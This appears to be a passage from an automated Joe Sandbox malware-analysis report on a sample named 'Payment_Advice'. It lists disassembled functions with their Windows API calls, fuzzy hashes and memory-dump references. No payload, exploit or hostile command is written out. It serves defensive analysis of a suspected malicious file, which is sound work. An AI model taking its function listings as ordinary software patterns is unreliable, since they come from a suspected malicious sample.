Opcode Fuzzy Hash: 3d9056ddbe1e057733116335ae4e99ea7498da68fff70b71caf92abc783d16ab
Instruction Fuzzy Hash: 03E09236F00545A7DF0D87A49C0D9EB7ADDFA5824431041F9E603D7201F934DEC54664

Uniqueness

Uniqueness Score: -1.00%

Function 0050A4ED Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,0050A325,?,?,?,0050A175,?,00000001,00000000,?,?), ref: 0050A501

Part of subcall function 0050BB03: _wcslen.LIBCMT ref: 0050BB27

SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,0050A325,?,?,?,0050A175,?,00000001,00000000,?,?), ref: 0050A532

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AttributesFile$_wcslen
String ID:
API String ID: 2673547680-0
Opcode ID: 7707ca0b14e516cb9638609f0862caf9a1d5c88ab5a468263cb2de5cd538427b
Instruction ID: abbeb92f6f28b564555ca355584c8c35834485cea0b0baf41e7313d228320369
Opcode Fuzzy Hash: 7707ca0b14e516cb9638609f0862caf9a1d5c88ab5a468263cb2de5cd538427b
Instruction Fuzzy Hash: 86F0303224020ABBEF115F60DC49FDE3B6CBF14385F448051B945D51A0DB71DAD9EA50

Uniqueness

Uniqueness Score: -1.00%

Function 0050A1E0 Relevance: 3.0, APIs: 2, Instructions: 27fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(000000FF,?,?,0050977F,?,?,005095CF,?,?,?,?,?,00532641,000000FF), ref: 0050A1F1

Part of subcall function 0050BB03: _wcslen.LIBCMT ref: 0050BB27

DeleteFileW.KERNEL32(?,000000FF,?,00000800,?,?,0050977F,?,?,005095CF,?,?,?,?,?,00532641), ref: 0050A21F

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: DeleteFile$_wcslen
String ID:
API String ID: 2643169976-0
Opcode ID: da81a5a80774580fa6a44cabb8f5f92fc4211966387ff793bce28f5d20b22efa
Instruction ID: 071502cc6d040be4851130bd8edc33c15a75c2af61efeeca5927a74077e210c5
Opcode Fuzzy Hash: da81a5a80774580fa6a44cabb8f5f92fc4211966387ff793bce28f5d20b22efa
Instruction Fuzzy Hash: 05E0923524020A7BEB015F60DC89FDD3B9CBF183C6F484021B944D2190EB61DEC8EB50

Uniqueness

Uniqueness Score: -1.00%

Function 0051AC7C Relevance: 3.0, APIs: 2, Instructions: 26comCOMMON

Download Yara Rule

APIs

GdiplusShutdown.GDIPLUS(?,?,?,?,00532641,000000FF), ref: 0051ACB0
OleUninitialize.OLE32(?,?,?,?,00532641,000000FF), ref: 0051ACB5

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: GdiplusShutdownUninitialize
String ID:
API String ID: 3856339756-0
Opcode ID: d45736560ee21fd8f5e79441f0bba09e58707953734566be01a1636013314ab2
Instruction ID: b5b7c805935911e711f294a6a411999062ef21ff4c72fed461662edd91f359df
Opcode Fuzzy Hash: d45736560ee21fd8f5e79441f0bba09e58707953734566be01a1636013314ab2
Instruction Fuzzy Hash: 81E06D76604A50EFCB009B5DDC06B4AFFA8FB89F20F00426AF416D37A0CB74A840CA90

Uniqueness

Uniqueness Score: -1.00%

Function 0050A243 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,?,0050A23A,?,0050755C,?,?,?,?), ref: 0050A254

Part of subcall function 0050BB03: _wcslen.LIBCMT ref: 0050BB27

GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,0050A23A,?,0050755C,?,?,?,?), ref: 0050A280

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AttributesFile$_wcslen
String ID:
API String ID: 2673547680-0
Opcode ID: a07fe7bf02aeb7fd1685134665fc3d957d64eee3ed47553f691cf65f9728c492
Instruction ID: 361a74942870d37aec692f5c4b1099640f5660f40e306f7a28fa1d916669c560
Opcode Fuzzy Hash: a07fe7bf02aeb7fd1685134665fc3d957d64eee3ed47553f691cf65f9728c492
Instruction Fuzzy Hash: 01E06D355001249BDB10AB64CC09BD97B98AB183E1F044261BD44E32D0D7709E888AA0

Uniqueness

Uniqueness Score: -1.00%

Function 0051DEC2 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 0051DEEC

Part of subcall function 00504092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 005040A5

SetDlgItemTextW.USER32(00000065,?), ref: 0051DF03

Part of subcall function 0051B568: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0051B579
Part of subcall function 0051B568: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0051B58A
Part of subcall function 0051B568: IsDialogMessageW.USER32(00010440,?), ref: 0051B59E
Part of subcall function 0051B568: TranslateMessage.USER32(?), ref: 0051B5AC
Part of subcall function 0051B568: DispatchMessageW.USER32(?), ref: 0051B5B6

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: Message$DialogDispatchItemPeekTextTranslate__vswprintf_c_l_swprintf
String ID:
API String ID: 2718869927-0
Opcode ID: 6bad9a73ed49ee09c5f5783d06b0115a8e8be62507afe7e904e743c493be4388
Instruction ID: be1e5b184eea79fba2690f7d0d7a67c42dc49f3f92ccff984f5b2bc669f89c5f
Opcode Fuzzy Hash: 6bad9a73ed49ee09c5f5783d06b0115a8e8be62507afe7e904e743c493be4388
Instruction Fuzzy Hash: F5E09BB550024926EF01A764DC0FFEE3F6C6B15789F040851B700DB0E3DA75DA589661

Uniqueness

Uniqueness Score: -1.00%

Function 0051081B Relevance: 3.0, APIs: 2, Instructions: 24libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00510836
LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,0050F2D8,Crypt32.dll,00000000,0050F35C,?,?,0050F33E,?,?,?), ref: 00510858

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: DirectoryLibraryLoadSystem
String ID:
API String ID: 1175261203-0
Opcode ID: b8cf21611090411d3803c8dcd94588249362ab490318bbe597ce306f4afd1ef6
Instruction ID: 45c4a9a943fa01d1c50ac80aa48f2e230b0acad53d121ce818dabf1148d11e5e
Opcode Fuzzy Hash: b8cf21611090411d3803c8dcd94588249362ab490318bbe597ce306f4afd1ef6
Instruction Fuzzy Hash: 33E012765011186ADB11A7949C4DFDA7BACBF49391F0400657645D2144D774DAC48AA0

Uniqueness

Uniqueness Score: -1.00%

Function 0051A3B9 Relevance: 3.0, APIs: 2, Instructions: 23windowCOMMON

Download Yara Rule

APIs

GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 0051A3DA
GdipCreateBitmapFromStream.GDIPLUS(?,?), ref: 0051A3E1

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: BitmapCreateFromGdipStream
String ID:
API String ID: 1918208029-0
Opcode ID: 3005c95a2a280fff307b9a0f6f4befb985325dc675e5b1b8214a534a7da55276
Instruction ID: 376a7b6cca6e6ec6b7cd2705cc5f1b1ac2c94b0cdacf82329517435d24745ad4
Opcode Fuzzy Hash: 3005c95a2a280fff307b9a0f6f4befb985325dc675e5b1b8214a534a7da55276
Instruction Fuzzy Hash: 32E0E571905219EBEB10DF99C945BD9BFE8FB04360F20845AA89693201E3B4AE84DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00522B8C Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00522BAA
___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00522BB5

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: Value___vcrt____vcrt_uninitialize_ptd
String ID:
API String ID: 1660781231-0
Opcode ID: acc3aac040c1a6fbe2890a581a3a8fe9eb327f20ca77d5a164b2f5e871889088
Instruction ID: 90925add3d46dd4a149b4ff7912100798461c6d8d4c1a8cb534652ebbd9ee13f
Opcode Fuzzy Hash: acc3aac040c1a6fbe2890a581a3a8fe9eb327f20ca77d5a164b2f5e871889088
Instruction Fuzzy Hash: D6D0223C198332384E242E70380F5493F85BED3BB1FE086DAF820E68C1EF148080A111

Uniqueness

Uniqueness Score: -1.00%

Function 005012F1 Relevance: 3.0, APIs: 2, Instructions: 11COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00501306
ShowWindow.USER32(00000000), ref: 0050130D

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: ItemShowWindow
String ID:
API String ID: 3351165006-0
Opcode ID: bf19c2da8647c53301f4ed80805944387a9c4d76d6d392f1f9053dbb4ba49869
Instruction ID: f5520ec2e3548abf02f06c25c8ea2f410a7f50cd21eb42002b7192522f374c6a
Opcode Fuzzy Hash: bf19c2da8647c53301f4ed80805944387a9c4d76d6d392f1f9053dbb4ba49869
Instruction Fuzzy Hash: 54C0123245C200BECB010BB8DC09C2BBBA8ABA7312F04C928F0A5C2060C238C154EB11

Uniqueness

Uniqueness Score: -1.00%

Function 005012D3 Relevance: 3.0, APIs: 2, Instructions: 8COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 005012E1
KiUserCallbackDispatcher.NTDLL(00000000), ref: 005012E8

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: CallbackDispatcherItemUser
String ID:
API String ID: 4250310104-0
Opcode ID: 855ccf841796fe0d8efe734e53fa805f5cc604704b77c2e3afec7c43359783a9
Instruction ID: 649cb66a3f996935ac6f000dc554b04bcb7787f96cda6e9b6ad0fe34644fa621
Opcode Fuzzy Hash: 855ccf841796fe0d8efe734e53fa805f5cc604704b77c2e3afec7c43359783a9
Instruction Fuzzy Hash: 1EC04C7640C240BFCB015BA4DC0CC2FBFA9ABA6321F04C819F1A581120C775C514EB11

Uniqueness

Uniqueness Score: -1.00%

Function 00501A04 Relevance: 1.8, APIs: 1, Instructions: 312COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00501A09

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 10e3bf728071f5671845e1c19fc983567ef23fffc023f3a95f6a3b261a813ce1
Instruction ID: 5580f5684ae0b34dbc4a7c5da148d856dd9ba7182ea3a1cb9c0defeebfe8df2f
Opcode Fuzzy Hash: 10e3bf728071f5671845e1c19fc983567ef23fffc023f3a95f6a3b261a813ce1
Instruction Fuzzy Hash: 1BC1AE30A00A559BEF25DF68C888BAD7FA5BF55310F0805B9EC46DB3D2DB309944CB66

Uniqueness

Uniqueness Score: -1.00%

Function 00503BBA Relevance: 1.7, APIs: 1, Instructions: 177COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00503BBF

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 58b7a660ed226e0a42923d389e0d4bd11907e261b82f3c9e78387cb379b083a5
Instruction ID: 9ec63da5cd07c1fa55e19e8d318e78bd4e25ba3b6f2f91f1301430c481ab6311
Opcode Fuzzy Hash: 58b7a660ed226e0a42923d389e0d4bd11907e261b82f3c9e78387cb379b083a5
Instruction Fuzzy Hash: 5C71A171540B459EDB35DB70C8599EBBBEDBF54300F40092EE6AB87281EA326A84CF11

Uniqueness

Uniqueness Score: -1.00%

Function 00508284 Relevance: 1.6, APIs: 1, Instructions: 114COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00508289

Part of subcall function 005013DC: __EH_prolog.LIBCMT ref: 005013E1

Part of subcall function 0050A56D: FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 0050A598

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: H_prolog$CloseFind
String ID:
API String ID: 2506663941-0
Opcode ID: 53d0b7438c05a336879d59d9f3fe8067e12119655016a0fa4ec89f93d0e766cd
Instruction ID: 324f2bff8ba8a32b8b3ce7c53c2c19536e8e14c40a80f51f26d61667ae39ecd0
Opcode Fuzzy Hash: 53d0b7438c05a336879d59d9f3fe8067e12119655016a0fa4ec89f93d0e766cd
Instruction Fuzzy Hash: 0E4184719446599ADF20DB60CC59EFEBBA8BF80304F4404EAE58A970C3EB756EC5CB50

Uniqueness

Uniqueness Score: -1.00%

Function 005013E1 Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 005013E1

Part of subcall function 00505E37: __EH_prolog.LIBCMT ref: 00505E3C

Part of subcall function 0050CE40: __EH_prolog.LIBCMT ref: 0050CE45

Part of subcall function 0050B505: __EH_prolog.LIBCMT ref: 0050B50A

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: f9d2ba6c2314425f36e922fbf127b7ce017df65ce0b3b8c3859ffb689e26970f
Instruction ID: b99f464a95b8d330d1c2430d63390680a4961dc98693cd0c35896121dddc93fc
Opcode Fuzzy Hash: f9d2ba6c2314425f36e922fbf127b7ce017df65ce0b3b8c3859ffb689e26970f
Instruction Fuzzy Hash: 794149B0905B419EE724DF398889AEAFFE5BF19300F50492ED5FE83282CB716654CB15

Uniqueness

Uniqueness Score: -1.00%

Function 005013DC Relevance: 1.6, APIs: 1, Instructions: 95COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 005013E1

Part of subcall function 00505E37: __EH_prolog.LIBCMT ref: 00505E3C

Part of subcall function 0050CE40: __EH_prolog.LIBCMT ref: 0050CE45

Part of subcall function 0050B505: __EH_prolog.LIBCMT ref: 0050B50A

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: c9629419fdc14a0bef445e474c437bd97c28937a9ce04683047df9a0ad313fda
Instruction ID: c8439dddda81735c450bbd96faa1f3a57accfa570d57f1ac2895fd958be1ad0c
Opcode Fuzzy Hash: c9629419fdc14a0bef445e474c437bd97c28937a9ce04683047df9a0ad313fda
Instruction Fuzzy Hash: 864147B0905B419EE724DF798889AEAFFE5BF19300F50492ED5FE83282CB716654CB11

Uniqueness

Uniqueness Score: -1.00%

Function 0051359E Relevance: 1.6, APIs: 1, Instructions: 89COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 005135A3

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 16b2a880b20ffa7f2fc4dfc379c8d2702a5061a85793bffd8beba18ad624f665
Instruction ID: 11362531108186e71e5ffa0e9b3937206c00270273f2bd004d40e0c5e180b381
Opcode Fuzzy Hash: 16b2a880b20ffa7f2fc4dfc379c8d2702a5061a85793bffd8beba18ad624f665
Instruction Fuzzy Hash: 6221E6B5E40212AFEB149F74CC466AA7FACFF45314F00053AA506AA681D3B49E80C7E8

Uniqueness

Uniqueness Score: -1.00%

Function 0051B093 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0051B098

Part of subcall function 005013DC: __EH_prolog.LIBCMT ref: 005013E1

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 50bcc2ee9e95b111dc44480fb4e745aec774d0b69ceb1c87c6319eb6a73ea87f
Instruction ID: 3ec71288ab9ec2da71530e219d555f09869ac8042499fcfdefb76404aa9accca
Opcode Fuzzy Hash: 50bcc2ee9e95b111dc44480fb4e745aec774d0b69ceb1c87c6319eb6a73ea87f
Instruction Fuzzy Hash: 49318B71C0024AAAEF14DF64D8559EEBBB4BF49300F10449EE809B7282D735AE44CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0052AC98 Relevance: 1.6, APIs: 1, Instructions: 65libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 0052ACF8

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
